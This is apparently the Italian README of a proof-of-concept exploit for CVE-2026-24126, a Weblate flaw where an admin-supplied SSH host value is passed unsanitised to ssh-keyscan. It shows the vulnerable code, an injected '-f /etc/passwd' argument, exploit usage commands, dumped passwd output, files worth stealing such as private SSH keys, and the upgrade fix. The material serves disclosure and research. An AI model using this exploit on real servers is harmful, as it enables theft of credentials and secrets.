
Proof-of-concept exploit per CVE-2026-24126, una lettura arbitraria di file in Weblate tramite l'iniezione dell'argomento host SSH, che consente agli amministratori autenticati di leggere i file del server.
Scoperto da: Alejandro Baño · Gennaio 2026 Riconosciuto da: Note di rilascio di Weblate 5.16
L'endpoint di gestione delle chiavi host SSH di Weblate passa il parametro host fornito da un amministratore autenticato direttamente a ssh-keyscan senza alcuna sanificazione o validazione degli argomenti. Poiché ssh-keyscan accetta un flag -f <file> per leggere i nomi host di destinazione da un file, un attaccante con credenziali amministrative può iniettare quel flag come valore dell'host e forzare il server ad aprire un file locale arbitrario. L'output di errore risultante (o lo stdout) viene riflesso testualmente nel browser all'interno di un blocco di messaggio di errore, rivelando il contenuto del file.
| Campo | Valore |
|---|---|
| Target | Weblate (istanze self-hosted) |
| Componente | Gestione chiavi SSH — weblate/ssh/views.py · add_host_key() |
| Autenticazione richiesta | Sì — account amministratore Weblate |
| Versioni interessate | Tutte le versioni ≤ 5.15.2 (testate in 5.0.2 e 5.15.2) |
| Impatto | Lettura arbitraria di file locali come utente del processo web-server (weblate, www-data ecc.) |
| CVSS v3 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L |
| CVE | CVE-2026-24126 |
# weblate/ssh/views.py — simplified
def add_host_key(request, host, port=""):
cmdline = ["ssh-keyscan"]
if port:
cmdline.extend(["-p", str(port)])
cmdline.append(host) # ← host is appended with no validation
result = subprocess.run(cmdline, ...)
Il valore di host proviene direttamente dal campo host del corpo POST senza alcuna allowlist, senza rimozione dei trattini iniziali e senza terminatore di argomenti -- prima del valore fornito dall'utente. Questo consente a un attaccante di iniettare qualsiasi flag di ssh-keyscan.
ssh-keyscan -f /etc/passwd legge /etc/passwd come elenco di nomi host, fallisce nella risoluzione di ogni riga e produce output di errore per ciascuna. Tale output di errore si propaga attraverso il gestore di CalledProcessError e viene visualizzato all'interno di un blocco alert-danger nella risposta HTTP.
python3 exploit.py -r https://target.example.com -u admin -p admin123 -f /etc/passwd
| Flag | Descrizione |
|---|---|
-r / --rhost | URL di base dell'istanza Weblate |
-u / --username | Nome utente amministratore |
-p / --password | Password amministratore |
-f / --file | Percorso del file da leggere sul server |
python3 CVE-2026-24126.py -r http://localhost -u admin -p 'ChangeThisToAStrongPassword' -f /etc/passwd
[+] Login successful for user: admin
[*] Sending payload to http://localhost/manage/ssh/, this could take some time, please be patient...
[+] Extracted file content:
--------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
weblate:x:1000:1000::/home/weblate:/bin/sh
--------------------------------------------------
[!] Exploit finished
Qualsiasi file leggibile dall'utente del sistema operativo che esegue Weblate (tipicamente l'utente weblate) può essere esfiltrato tramite una singola richiesta POST autenticata. Tra i target sensibili figurano:
settings.py, .env, local_settings.py/var/lib/weblate/.ssh/id_rsaAggiornare a Weblate 5.16.0 o successivo. Questa è la correzione ufficiale rilasciata dal team di Weblate il 18 febbraio 2026, che ha introdotto una corretta validazione dell'input sul campo host SSH.
Questo repository è destinato esclusivamente a scopi educativi e di ricerca sulla sicurezza autorizzata. Non utilizzare questo strumento contro sistemi di cui non si è proprietari o per i quali non si dispone di esplicita autorizzazione scritta per il test. L'autore non si assume alcuna responsabilità per usi impropri.